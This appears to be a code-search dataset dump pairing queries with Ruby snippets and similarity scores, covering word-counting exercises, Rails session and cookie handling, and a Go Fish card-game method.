@input.downcase.scan(/\\b[\\w']+\\b/)\n\n words.each_with_object(Hash.new(0)) do |word, result|\n result[word] += 1\n end\n end", "def how_many_words(text=\"I'm a cheeky monkey, dude\", num=4)\n x_words = []\n word_array = text.split(\" \")\n word_array.each do |word|\n if word.length == num\n x_words << word\n end\n end\n x_words\nend", "def character_count\n print \"Please write word or multiple words: \"\n str = gets.chomp\n count = str.count{|char| char != ' '}\n\n puts \"there are #{count} characters in \\\"#{str}\\\".\"\nend", "def lengthOfLastWord(s)\n lastWordLength = 0\n if s.length == 0 \n return lastWordLength\n end\n\n s.chars.reverse_each { |x| \n if x != ' '\n lastWordLength += 1\n elsif lastWordLength != 0\n return lastWordLength\n end\n }\n lastWordLength\nend", "def word_lengths(sentence)\n # Write your code here\nend", "def find_frequency(sentence, word)\n sentence.downcase.split.count(word.downcase)\nend", "def find_frequency(sentence, word)\n sentence.downcase.split.count(word.downcase)\nend", "def find_frequency(sentence, word)\n\tsentence.downcase.split.count(word.downcase)\n\nend", "def word_lengths(string)\n string.split(' ').map {|word| \"#{word} #{word.length}\"}\nend", "def find_frequency(sentence, word)\n array = sentence.downcase.split(\" \")\n array.count(word)\nend", "def count_spaces (foo)\n foo.count(\" \")\n end", "def word_sizes(sentence)\n hash = Hash.new(0)\n words = sentence.split(\" \")\n words.map! { |word| word.gsub(/[^a-zA-Z]/, ' ')}\n words.map! { |word| word.delete(\" \")}\n words.each { |word| hash[word.length] += 1 }\n hash\nend", "def word_lengths(str)\n list = str.split(\" \")\n list.each_index {|i| list[i] += \" #{list[i].length}\"}\nend", "def word_lengths(string)\n string.split(' ').map { |item| item << \" #{item.size}\"}\nend", "def word_sizes(str)\n word_counts = Hash.new(0)\n str.gsub(/[^a-zA-Z ]/, '').split.each { |word| word_counts[word.length] += 1 }\n word_counts\nend", "def word_lengths(string)\n string.split(' ').map do |word|\n word << ' ' + word.size.to_s\n end\nend", "def count_spaces(string)\n count = 0\n string.chars { |char| if char === \" \" then count += 1 end}\n return count\nend", "def word_lengths(str)\nend", "def word_sizes(str)\n counter = Hash.new(0)\n str.split.each do |word|\n counter[word.gsub(/\\W/,'').length] += 1\n end \n counter\nend", "def middle_word(string)\n words = string.split(' ')\n size = words.size\n if size == 0\n \"Invalid input! Empty string!\"\n elsif size.even?\n \"Invalid input! Even number of words in sentance!\"\n elsif size == 1\n \"Invalid input! Only one word in the string!\"\n else\n words[-(size/2)-1]\n end\nend", "def length_of_last_word(s)\n new_s = s.split(\" \")\n if new_s == []\n return 0\n else\n new_s[-1].size\n end\nend", "def count_words(count_string)\n\t\tcount_string = count_string.to_s unless count_string.is_a? String\n\t\tunless count_string.nil?\n\t\t\tarray_elem = count_string.split(/\\s+/)\n\t\t\t@total_words += array_elem.size\n\t\tend\n\tend", "def count_words(s)\n\ts = s.downcase\n\ts.gsub!(/\\W+/,\" \")\n\ts = s.split(\" \")\n\tfreqs = Hash.new(0)\n\ts.each{ |word| freqs[word] += 1 }\n\treturn freqs\nend", "def word_sizes(sentence)\n sentence.split.each_with_object(Hash.new(0)) { |word, obj| obj[word.size] += 1 } \nend", "def word_lengths(string)\n string.split.map { |word| word << \" #{word.size}\" }\nend", "def WordCount(str)\n\n arr=str.split\n return arr.length\nend", "def count_spaces string\n count = 0\n space = \" \"\n string.each_char do |char|\n if char == space\n count += 1\n end\n end\n count\nend", "def word_lengths(string)\n string.split.map {|word| word + \" \" + word.size.to_s}\nend", "def count_spaces(str)\n count = 0\n space = \" \"\n str.each_char do |char|\n if char == space\n count += 1\n end\n end\n count\n end", "def word_with_most_repeats(sentence)\n result = \"\"\n max = 0\n sentence.split(' ').each do |word| \n repeats = repeat_letter_count(word) \n if repeats > max\n max = repeats\n result = word\n end\n end\n result\nend", "def word_count(str)\n count = {}\n str.split(' ').each do |word|\n word = word.downcase.gsub(/[^a-z]/, '')\n if count[word].nil?\n count[word] = 1\n else\n count[word] += 1\n end\n end\n count\n end", "def word_count(sentence)\n arr = sentence.split(\" \")\n result = Hash.new(0) # add default value as 0 for each new keys\n arr.each {|word| result[word] += 1 } # increment key 0 -> 1 -> 2..\n result # last expression of a method is returned\nend", "def words(my_sentence)\n length = my_sentence.length\n words_array = []\n i = 0\n word = \"\"\n\n until i == length\n l = my_sentence[i]\n j = my_sentence[i + 1]\n \n if l != \" \" && j != \" \"\n word += l\n elsif l != \" \" && j == \" \"\n word += l\n words_array << word\n word = \"\"\n elsif l == \" \" && j == \" \"\n word += l\n elsif l == \" \" && j != \" \"\n word += l\n words_array << word\n word = \"\"\n end\n \n if i == length - 1\n words_array << word\n end\n\n i += 1\n end\n\n return words_array\nend", "def word_counter(string)\n array = string.downcase.split(\" \")\n word_count = array.count\n the_count = array.count(\"the\")\n\n # option 1 for getting longest work\n # longest_word = \"\"\n # array.each do |x|\n # longest_word = x if longest_word.length < x.length\n # end\n\n # option 2 for getting longest word\n longest_word = array.max_by { |x| x.length }\n\n puts \"The number of words is #{word_count}, the longest word is #{longest_word}, and 'the' is used #{the_count} times.\"\nend", "def count_spaces(string)\n count = 0\n space = \" \"\n string.each_char do |char|\n if char == space\n count+=1\n end\n end\n count\nend", "def word_lengths(str)\n str.split.map{ |word| word + \" \" + word.size.to_s}\nend", "def find_frequency(sentence, word)\n count = 0\n wordarray=sentence.downcase.split(\" \")\n wordarray.each do |wordcurrent|\n count = (count +1) if word.downcase == wordcurrent\n end\n return count\nend", "def count_spaces(str)\n count = 0\n str.split(\"\").each do |char|\n if char == \"\\s\"\n count += 1\n end\n end\n count\n end", "def word_lengths(str)\n counter = Hash.new(0)\n str.split(\" \").each do |x|\n counter[x] = x.length\n end\n counter\nend", "def word_length(string)\n result = []\n string.split.each do |word|\n #result << word + ' ' + word.length.to_s\n result << \"#{word} #{word.length}\"\n end\n result\nend", "def test_String_002_wordcount\n \n puts2(\"\")\n puts2(\"#######################\")\n puts2(\"Testcase: test_String_002_wordcount\")\n puts2(\"#######################\")\n \n \n sStringVariable = \"Doesn't count contractions or hyphens as two-words\"\n aArrayofStrings = [\n \" Multiple Whitespace is \\tignored. New line\\n also. \\n123-456 \\n a+b i:2 1/2 \",\n \"#{sStringVariable}\",\n \"THE END\"\n ]\n \n aArrayofStrings.each do | sString |\n puts2(\"\\nString: #{sString}\")\n puts2(\"Word count: #{sString.wc.to_s}\")\n \n end\n \n end", "def word_lengths(sentence)\n hassh = Hash.new(0)\n sentence.split(\" \").each {|w| hassh[w] = w.length }\n return hassh\nend", "def word_count(string)\n words = string.split(\" \")\n count = Hash.new(0)\n words.each { |word| count[word] += 1}\n count\nend", "def count_spaces(str)\n count = 0\n space = \" \"\n str.each_char do |char|\n if char == space\n count += 1\n end\n end\n count\nend", "def word_count(phrase)\n result = Hash.new(0)\n phrase.split(\" \").each { |word| result[word] += 1 }\n result\nend", "def find_frequency(sentence, word)\n calc_count = 0\n sentence.split(' ').each_with_object([]) do |i, j|\n calc_count += 1 if i.downcase == word\n end\n return calc_count\nend", "def e_words(str)\r\n count = 0\r\n str.split(\" \").each {|w| w[-1] == 'e' ? count += 1: next}\r\n count\r\nend", "def count_words(input)\r\n words = input.split(\" \") # breaks the string into an array of strings, separated by spaces.\r\n wordcounter = {} # initialise empty hash\r\n\r\n for word in words # iterate over each word in our array\r\n if wordcounter[word] == nil # if there's no entry in the hash...\r\n wordcounter[word] = 1 # make one\r\n else\r\n wordcounter[word] += 1 # if there already is one, increment it\r\n end\r\n end\r\n\r\n # iterate over the hash, printing each key (word) and value (count of that word) on a line.\r\n wordcounter.each do |word, count| \r\n puts \"#{word} #{count}\"\r\n end\r\nend", "def word_lengths(string)\n string.split.map { |word| \"#{word} #{word.length}\" }\nend", "def word_lengths(string)\n string.split.map { |word| \"#{word} #{word.length}\" }\nend", "def word_lengths(string)\nstring.split.map{|e| e + ' ' + e.size.to_s}\nend", "def count_sentences\n array = self.split(/[.!?]\\s/)\n array.count\n end", "def LongestWord(sen)\n\tarr = sen.gsub(/[^a-zA-Z]+/m, ' ').strip.split(\" \")\n\tcounter = \"\" \n\t\tarr.each do |word|\n\t\t\tif word.length >= counter.length \n\t\t\t\tcounter = word \n\t\t\tend\n\t\tend\n\t\tcounter\nend", "def word_lengths(string)\n string.split(\" \").map do |word|\n size = word.length \n word + \" #{size}\"\n end \nend", "def word_sizes(str)\n word_count = Hash.new(0)\n\n str.split(' ').each do |word|\n word_count[word.size] += 1\n end\n\n word_count\n\nend", "def LetterCount(str)\n words = str.split(' ')\n num_repeats = nil\n best_word = nil\n \n idx = 0\n while idx < words.length\n word = words[idx]\n count = 0\n \n word_freq = Hash.new(0)\n word.split('').map {|x| word_freq[x] += 1 }\n if word_freq.select {|x,y| y > 1 }.empty?\n idx += 1\n next\n else\n count += word_freq.select {|x,y| y > 1 }.size\n end\n \n if num_repeats == nil || count > num_repeats\n num_repeats = count\n best_word = word\n end\n \n idx += 1\n end\n \n if num_repeats == nil\n return -1\n else\n return best_word\n end\nend", "def long_word_count(text)\n #\n # your code goes here\n #\n counter = 0\n text.split.each do |word|\n counter += 1 if word.length > 7\n end\n\n counter\nend", "def count_words(string)\n # your code here\n ret = {}\n s = string.downcase\n s.split(/\\b/).each do |w|\n if w =~ /\\w/\n if ret[w]\n ret[w] += 1\n else\n ret[w] = 1\n end\n end\n end\n return ret\nend", "def length_of_last_word(s)\n return 0 if s.length == 0\n rev_str = s.reverse\n letter_count = 0\n\n rev_str.each_char do |letter|\n if(letter_count == 0 && letter == \" \")\n next\n elsif(letter == \" \" || letter.nil?)\n return letter_count\n else\n letter_count += 1\n end\n end\n\n letter_count\nend", "def count_words(string)\n string = string.downcase\n split_string = string.split(' ')\n \n word_hash = Hash.new\n word_hash.default = nil\n\n split_string.each do |s|\n s = s.gsub(/[^a-z]/, '')\n if word_hash[s]\n word_hash[s] = word_hash[s] + 1 \n else\n word_hash[s] = 1\n end\n end\n puts word_hash\nend", "def length_of_last_word(s)\n return 0 if s.strip.empty?\n s.split(\" \").last.length\nend" ]
[ "0.771766", "0.76777244", "0.75262284", "0.7519263", "0.75020605", "0.73679334", "0.7362968", "0.73273224", "0.72712827", "0.7255368", "0.71889406", "0.7169248", "0.71028066", "0.70956016", "0.70829356", "0.7042309", "0.7015173", "0.7008757", "0.69860464", "0.69749874", "0.69723254", "0.69297016", "0.69271135", "0.69250524", "0.68817925", "0.6853161", "0.68511903", "0.6839888", "0.68339765", "0.68285275", "0.6826086", "0.6811269", "0.68031776", "0.6801912", "0.6800591", "0.6776999", "0.6767733", "0.67580277", "0.67571825", "0.67517763", "0.6749074", "0.67487186", "0.6738285", "0.67329514", "0.6731764", "0.6731764", "0.6717541", "0.6715623", "0.6713767", "0.6713712", "0.6712119", "0.670796", "0.66950107", "0.66933906", "0.66893137", "0.6687618", "0.6685445", "0.66823566", "0.6678238", "0.66765165", "0.6667533", "0.6662947", "0.6660568", "0.66576576", "0.6651663", "0.6632192", "0.6622785", "0.6620133", "0.6607186", "0.660342", "0.6591724", "0.65897053", "0.658509", "0.65813667", "0.6578408", "0.6570855", "0.6568271", "0.6558347", "0.6554897", "0.6553701", "0.6549208", "0.6547691", "0.6543979", "0.6541225", "0.6540273", "0.65338665", "0.65270925", "0.65228194", "0.65228194", "0.65147555", "0.6511654", "0.65103215", "0.6509045", "0.6506046", "0.6498122", "0.6497208", "0.6491431", "0.64904904", "0.647712", "0.6473267" ]
0.6886883
24
Skip sessions and cookies for Rails API
def skip_session request.session_options[:skip] = true end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def do_not_set_cookie\n request.session_options[:skip] = true\n end", "def do_not_set_cookie\n request.session_options[:skip] = true\n end", "def do_not_set_cookie\n request.session_options[:skip] = true\n end", "def skip_session\n request.session_options[:skip] = true if token\n end", "def skip_session\n request.session_options[:skip] = true if token\n end", "def skip_session\n request.session_options[:skip] = true if token\n end", "def skip_set_cookies_header\n reset_session\n end", "def handle_unverified_request\n super\n cookies.delete(:autologin)\n end", "def omit_unchanged_session_cookie\n # Only take this action if not-logged-in and session cookie is unchanged\n return unless !logged_in? && session.to_h == @original_session\n\n request.session_options[:skip] = true\n end", "def require_no_authentication\n # skip this!\n end", "def require_no_authentication\n require_no_authentication_or_app_jwt\n end", "def skip_authentication?\n true\n end", "def skip_authorization; end", "def handle_whitelisted_api_cookies\n new_api_cookies = request.cookies[GlobalConstant::Cookie.new_api_cookie_key.to_sym]\n return if new_api_cookies.blank?\n whitelisted_api_cookies = [GlobalConstant::Cookie.user_cookie_name]\n whitelisted_api_cookies.each do |key|\n whitelisted_cookie = new_api_cookies[key]\n if whitelisted_cookie.present? and whitelisted_cookie.is_a?(Hash)\n cookies[key.to_sym] = whitelisted_cookie\n end\n end\n end", "def disable_request_forgery_protection; end", "def request_cookies\n Util.except!(@request.cookies.dup, *@config.ignored_cookies)\n end", "def skip_session_commit\n request.session_options[:skip] = true\n end", "def handle_whitelisted_api_cookies\n new_api_cookies = request.cookies[GlobalConstant::Cookie.new_api_cookie_key.to_sym]\n return if new_api_cookies.blank?\n whitelisted_api_cookies = [GlobalConstant::Cookie.user_cookie_name, GlobalConstant::Cookie.last_used_env_cookie_name, GlobalConstant::Cookie.device_verification_toast_cookie_name, GlobalConstant::Cookie.secure_data_access_cookie_name]\n whitelisted_api_cookies.each do |key|\n whitelisted_cookie = new_api_cookies[key]\n if whitelisted_cookie.present? and whitelisted_cookie.is_a?(Hash)\n cookies[key.to_sym] = whitelisted_cookie\n end\n end\n end", "def skip_http_headers; end", "def use_null_session\n ActionController::RequestForgeryProtection::ProtectionMethods::NullSession.new(self)\n .handle_unverified_request\n end", "def no_session # :nologin: :norobots:\n end", "def skip_login?\n false\n end", "def require_login\n redirect_to new_api_v1_session_url unless logged_in?\n end", "def destroy_session\n request.session_options[:skip] = true\n end", "def skip_login? \n false \nend", "def require_no_authentication\n end", "def ensure_logged_in\n redirect_to api_session_url unless logged_in?\n end", "def handle_unverified_request\n reset_session\nend", "def set_api_cookie!\n return unless @session_object\n\n @session_object.to_hash.each { |k, v| session[k] = v }\n end", "def handle_unverified_request\n super # call the default behaviour which resets the session\n cookies.delete(:remember_token)\n redirect_to :login\n end", "def disable_my_other_sessions_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: FrontendApi.disable_my_other_sessions ...'\n end\n # resource path\n local_var_path = '/sessions'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n header_params[:'X-Session-Token'] = opts[:'x_session_token'] if !opts[:'x_session_token'].nil?\n header_params[:'Cookie'] = opts[:'cookie'] if !opts[:'cookie'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'DeleteMySessionsCount'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || []\n\n new_options = opts.merge(\n :operation => :\"FrontendApi.disable_my_other_sessions\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:DELETE, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: FrontendApi#disable_my_other_sessions\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def session_dont_remember\n httpsession = Thread.current[:hayabusa][:httpsession]\n raise \"Could not figure out HTTP-session.\" if !httpsession\n session = httpsession.session\n raise \"Could not get session-variable from HTTP-session.\" if !session\n session[:remember] = 0\n \n self.cookie(\n \"name\" => \"HayabusaSession\",\n \"value\" => _httpsession.session_id,\n \"path\" => \"/\"\n )\n end", "def set_api_cookie!\n return unless @session_object\n\n session.delete :value\n @session_object.to_hash.each { |k, v| session[k] = v }\n end", "def api_authentication_required\n unauthorized unless current_user?\n end", "def handle_unverified_request\n if Rails.env.production?\n reset_session\n else\n raise ActionController::InvalidAuthenticityToken\n end\n end", "def disable_request_forgery_protection=(_arg0); end", "def unauthenticated\n end", "def no_ajax # :nologin: :norobots:\n end", "def destroy_session\n request.session_options[:skip] = true\n end", "def handle_unverified_request\n reset_session\n render :nothing => true, :status => 401\n end", "def skip_trackable\n request.env['devise.skip_trackable'] = true\n end", "def skip_trackable\n request.env['devise.skip_trackable'] = true\n end", "def disable_sessions\n self.auto_capture_sessions = false\n @enable_sessions = false\n end", "def no_authentication_required(*options)\n skip_before_filter :require_authentication, options\n end", "def init_cookies\n cookies[:language] = @language.code unless cookies[:language]\n cookies[:logged_in] = (admin? ? 'admin' : logged_in?.to_s) unless cookies[:logged_in]\n cookies.delete( :dont_cache ) if cookies[:dont_cache] and flash.empty? and request.request_uri =~ /^#{cookies[:dont_cache]}/\n end", "def unauthenticated\n render_json status: :unauthorized\n end", "def collect_cookies_from_response; end", "def session\n if Rails.env.test?\n cookies\n else\n super\n end\n end", "def unauthenticated_request(params)\n do_request(params)\n end", "def unauthenticated_request(params)\n do_request(params)\n end", "def handle_unverified_request\n js = session[ :javascript ]\n reset_session()\n session[ :javascript ] = js\n end", "def warden_cookies\n warn \"warden_cookies was never functional and is going to be removed in next versions\"\n env['warden.cookies'] ||= {}\n end", "def ignore_passive_login?\n (request.format.js? ||\n request.format.json? ||\n user_signed_in? ||\n action_name == 'account' ||\n cookies[:_nyulibraries_eshelf_passthru])\n end", "def disable_my_other_sessions(opts = {})\n data, _status_code, _headers = disable_my_other_sessions_with_http_info(opts)\n data\n end", "def handle_unverified_request\n sorcery_config.before_unverified_request.each do |callback|\n send(callback)\n end\n @current_user = nil\n super # call the default behaviour which resets the session\n end", "def remove_token_headers\n response.headers['sid'] = nil\n response.headers['utoken'] = nil\n end", "def require_login\n if @current_user\n # Do nothing\n else\n puts \"No session\"\n render json: {error: \"Not logged in\"}, status: :unauthorized\n end\n end", "def set_no_auth\n FHIR.logger.info 'Configuring the client to use no authentication.'\n @use_oauth2_auth = false\n @use_basic_auth = false\n @security_headers = {}\n @client = RestClient\n @client.proxy = proxy unless proxy.nil?\n @client\n end", "def skip_forgery_protection(options = T.unsafe(nil)); end", "def prevent_authenticated_user!\n if signed_in?\n head :forbidden\n end\n end", "def disable_my_session_with_http_info(id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: FrontendApi.disable_my_session ...'\n end\n # verify the required parameter 'id' is set\n if @api_client.config.client_side_validation && id.nil?\n fail ArgumentError, \"Missing the required parameter 'id' when calling FrontendApi.disable_my_session\"\n end\n # resource path\n local_var_path = '/sessions/{id}'.sub('{' + 'id' + '}', CGI.escape(id.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n header_params[:'X-Session-Token'] = opts[:'x_session_token'] if !opts[:'x_session_token'].nil?\n header_params[:'Cookie'] = opts[:'cookie'] if !opts[:'cookie'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type]\n\n # auth_names\n auth_names = opts[:debug_auth_names] || []\n\n new_options = opts.merge(\n :operation => :\"FrontendApi.disable_my_session\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:DELETE, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: FrontendApi#disable_my_session\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def remove_session_cookie\n headers['Set-Cookie'] = session_cookie \"x; expires=#{Time.at(0).httpdate}\"\n end", "def cannot_access_api?\n !request.env[\"REQUEST_METHOD\"].eql?(\"GET\") &&\n !request.headers['mw-token'].eql?(ENV[\"api_access_token\"])\n end", "def reset_cookies\n if !user_signed_in?\n cookies.delete(:truck)\n end\n end", "def require_no_authentication\n authenticate_scope!\n end", "def skip_admin_flash\n @skip_admin_flash = true\n end", "def request_authenticity_tokens; end", "def check_session\n unless current_user\n render :json => { :status => \"unauthroized\" }, :status => :unauthorized\n end\n end", "def cookies_test\n super\n end", "def whitelist\n if cannot_access_api?\n render json: [], status: :unauthorized\n end\n end", "def allow_client_to_handle_unauthorized_status\n headers.delete('WWW-Authenticate')\n end", "def require_login\n return head(:forbidden) unless current_user\n end", "def backdoor\n reset_session\n unless Rails.env.production?\n session[:user_id] = params[:id]\n render nothing: true, status: 201\n end\n end", "def iframe_cookies_fix_redirect\n render layout: false\n end", "def api_only; end", "def api_only; end", "def api_only; end", "def limit_session_time\n set_session_time(Settings.gitlab['unauthenticated_session_expire_delay'])\n end", "def require_login\n unless current_account\n if request.xhr?\n return respond_to do |format|\n format.js { render 'shared/login', layout: false, status: 401}\n end\n else\n if ['collect', 'uncollect'].include? action_name\n session[:redirect_to] = request.referer\n end\n authenticate_account!\n end\n end\n end", "def show\n skip_authorization\n end", "def before_request\n self.login if require_login? && !@authenticating\n end", "def cookie_test\n\t\tif cookies[\"cookie_test\"].blank?\n\t\t\tlogger.warn(\"=== cookies are disabled\")\n\t\t\trender :template => \"shared/cookies_required\"\n\t\telse\n\t\t\tredirect_to(building_path)\n\t\tend\n\tend", "def clear_session_cookie\n if request.referer.starts_with?(Rails.application.secrets.sso_url)\n reset_session\n end\n render nothing: true\n end", "def session_noop(input={}, raw=false)\n response = get('mw/Session.Noop', input, raw)\n end", "def clearcookies\n cookies.delete Prismic::PREVIEW_COOKIE\n redirect_to '/'\n end", "def login_required\n access_denied unless session_login || cookie_login\n end", "def no_javascript # :nologin: :norobots:\n end", "def not_authenticated\n redirect_to root_path\n end", "def remove_headers!\n response.headers['sid'] = nil\n response.headers['utoken'] = nil\n end", "def disable_flip\n # TODO: force a login\n begin\n jwt_payload = JWT.decode(params[:token], Rails.application.secrets.secret_key_base).first\n current_user_id = jwt_payload[\"id\"]\n Flipper[:beta_button].disable current_user if current_user && current_user.id == current_user_id\n rescue JWT::ExpiredSignature, JWT::VerificationError, JWT::DecodeError\n # head :unauthorized\n end\n redirect_to root_path\n end", "def skip_authorization_check(*args)\n before_action(*args) do |controller|\n controller.instance_variable_set(:@_authorized, true)\n end\n end", "def disable_client_cache\n response.headers[\"Cache-Control\"] = \"no-cache, no-store, max-age=0, must-revalidate\"\n response.headers[\"Pragma\"] = 'no-cache'\n response.headers[\"Expires\"] = \"Fri, 01 Jan 1990 00:00:00 GMT\"\n end", "def require_login\n return head(:forbidden) unless current_user\n end", "def cookie_fix(env)\n params = @request.params\n \n if params['_session_id']\n session = ActiveSupport::JSON.decode(params['_session_id'])\n\n unless (@request.cookies['fbs_' + Facebook::APP_ID.to_s].present?)\n session = session.map { |key, value| key.to_s + \"=\" + value.to_s }.join(\"&\")\n @response.set_cookie('fbs_' + Facebook::APP_ID.to_s, session)\n end\n end\n\n @response.headers.delete \"Content-Type\"\n @response.headers.delete \"Content-Length\"\n @response.headers.delete \"X-Cascade\"\n\n if defined?(OmniAuth) and defined?(Devise)\n mappings = Devise.mappings[:user]\n\n if mappings.controllers.has_key? :omniauth_callbacks\n path = [mappings.path, 'auth', :facebook.to_s, 'callback'].join('/')\n @response.redirect(path + \"?#{params['redirect_to'].to_query('redirect_to')}\")\n else\n @response.redirect(\"/?#{params['redirect_to'].to_query('redirect_to')}\")\n end\n else\n @response.redirect((params['redirect_to'] ? params['redirect_to'] : '/'))\n end\n\n [302, @response.headers, ['Cookie Setted']]\n end", "def skip_http_headers=(_arg0); end", "def clear_cookies\n \tcookies.delete(:auth_token)\n end", "def require_no_authentication\n result = handle_crossdomain_devise\n super if result && result.action == :noop\n end", "def not_authenticated\n redirect_to root_landing_url\n end", "def require_login\n render json: {message: 'Pleae login'}, status: :unauthorized unless logged_in?\n end" ]
[ "0.7849452", "0.7849452", "0.7849452", "0.7492377", "0.7373368", "0.7373368", "0.7259103", "0.71976125", "0.7060268", "0.70004874", "0.6884276", "0.68694776", "0.68454075", "0.67755544", "0.6774599", "0.66376334", "0.66369456", "0.6581109", "0.6531287", "0.6512128", "0.6486585", "0.6470162", "0.64376026", "0.64245474", "0.64045197", "0.6390274", "0.6366547", "0.63197136", "0.6311382", "0.628245", "0.6267558", "0.62640727", "0.6228466", "0.6201895", "0.6182579", "0.61780065", "0.6174572", "0.61294", "0.61144245", "0.6102863", "0.6098419", "0.6098419", "0.60861826", "0.60799396", "0.6026489", "0.6018196", "0.6013247", "0.59992516", "0.5970556", "0.5970556", "0.5960652", "0.5959341", "0.59575164", "0.5938888", "0.59044135", "0.58944905", "0.5891878", "0.5885827", "0.58825564", "0.588209", "0.5871102", "0.5865858", "0.58509636", "0.58275837", "0.5824488", "0.58239454", "0.5821241", "0.58187515", "0.58083326", "0.5798642", "0.5790268", "0.5785636", "0.578419", "0.5783908", "0.5769689", "0.5769689", "0.5769689", "0.5755497", "0.57497764", "0.57415795", "0.5734938", "0.57229394", "0.572166", "0.57185835", "0.57114226", "0.5698538", "0.56885546", "0.5688429", "0.5678103", "0.5675953", "0.56754327", "0.5673184", "0.5670462", "0.56641275", "0.566055", "0.565985", "0.5659111", "0.56569034", "0.5656314" ]
0.7619142
4
Asks the user to select a player to get a card from and a rank to ask for calls add_and_reaveal and returns true if the player gets the card and calls
def try_getting_cards_from_player(selected_rank) selected_player = select_other_player selected_player_id = game.get_player_index(selected_player) if game.players[selected_player_id].has_card_with_rank?(selected_rank) add_and_reveal(game.players[selected_player_id].remove_cards_with_rank(selected_rank), selected_player.name) return true end return false end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def ask_for_cards_until_go_fish_and_get_last_requested_rank\n while true\n selected_rank = player.select_rank\n if !try_getting_cards_from_player(selected_rank)\n return selected_rank\n end\n end\n end", "def choose_and_add_card_to_user_deck\n prompt = TTY::Prompt.new\n card = choose_hero\n response = prompt.select('Do you want to add this card to your collection?', %w(Yes No))\n if response == \"Yes\"\n added_card = UserCard.create(user_id: self.id, card_id: card.id)\n puts \"#{added_card.card.name.upcase} was added to your collection.\"\n sleep(1)\n end\n system('clear')\n title\n response = prompt.select('Do you want to look for another card?', %w(Yes No))\n if response == \"Yes\"\n self.choose_and_add_card_to_user_deck\n end\n end", "def call(card_taken, called_player)\n print card_taken ? \"Player #{called_player} had the card. \" : \"Player #{called_player} didn't have the card. \"\n print \"Press any key to continue...\\n\"\n pause\n end", "def start_game\n @deck_current = @deck_default\n @hand_dealer = []\n @hand_player = []\n get_card_and_put_in_hand(\"dealer\")\n get_card_and_put_in_hand(\"dealer\")\n get_card_and_put_in_hand(\"player\")\n get_card_and_put_in_hand(\"player\")\n\n display_board_screen(true)\n\n result_player = turn_player\n\n if result_player === \"over\"\n puts \"player is over 21, press enter to continue\"\n gets\n bet_attribution(\"lose\")\n display_betting_screen(false)\n elsif result_player === \"stay\"\n result_dealer = turn_dealer\n end\n \n if result_dealer === \"over21\"\n puts \"Dealer over 21, press enter to continue\"\n gets\n bet_attribution(\"win\")\n display_betting_screen(false)\n elsif result_dealer === \"over17\"\n final_result = check_who_wins(calculate_hand_total_value(@hand_dealer), calculate_hand_total_value(@hand_player))\n if final_result === \"draw\"\n puts \"It's a draw, press enter to continue\"\n bet_attribution(\"push\")\n elsif final_result === \"player\"\n puts \"Player wins, press enter to continue\"\n bet_attribution(\"win\")\n elsif final_result === \"dealer\"\n puts \"Dealer wins, press enter to continue\"\n bet_attribution(\"lose\")\n end\n \n gets\n display_betting_screen(false)\n end\n\nend", "def player_turn\n puts \"It's #{player.name}'s turn.\"\n\n blackjack_or_bust?(player)\n\n while !player.is_busted?\n puts \"What do you want to do? 1) Hit 2) Stay\"\n response = gets.chomp\n\n if ![\"1\", \"2\"].include?(response)\n puts \"Error, you must enter 1 or 2.\"\n next\n end\n\n if response == \"2\"\n puts \"#{player.name} choses to stay.\"\n break\n end\n\n new_card = deck.deal_one\n puts \"Dealing card to #{player.name}: #{new_card}\"\n player.add_card(new_card)\n puts \"#{player.name}'s total is now: #{player.total}\"\n\n blackjack_or_bust?(player)\n\n end\n end", "def use_card\n waiting_to_confirm_placement = true\n waiting_to_use_card = true\n invalid_usage = nil\n invalid_confirmation = nil\n remind_cannot_discard = nil\n \n while waiting_to_confirm_placement\n while waiting_to_use_card\n DisplayManager.prepare_ingame_display\n show_state\n puts \"Newest Card: #{@selected_card.to_s} #{'* you cannot discard this card' if @drew_from_discard}\" unless @selected_card.nil?\n puts \"You cannot discard this card because you drew it from the discard pile.\" if remind_cannot_discard\n remind_cannot_discard = false\n \n @card_to_replace = nil\n @card_to_discard = nil\n\n puts InputManager.input_options({ negative: 'Discard this Card', rack_positions: 'Switch With Card at Position' }, invalid_usage)\n invalid_usage = nil\n\n @placement_response = InputManager.get\n\n # If player chooses a location in their rack\n # Get ready to exchange those cards\n if InputManager::INPUTS[:rack_positions].include?(@placement_response)\n prep_place_card_in_rack(@placement_response)\n waiting_to_use_card = false\n\n # If player chooses to discard their card\n # get ready to discard their card\n # Disallow discard if card was drawn from the discard pile\n elsif InputManager.negative?(@placement_response)\n if @drew_from_discard\n remind_cannot_discard = true\n else\n prep_discard_drawn_card\n waiting_to_use_card = false\n end\n else\n invalid_usage = @placement_response\n end\n end\n\n DisplayManager.prepare_ingame_display\n show_state\n puts \"Newest Card: #{@selected_card.to_s}\"\n\n if @card_to_replace\n puts \"You want to exchange #{@card_to_replace.to_s} with 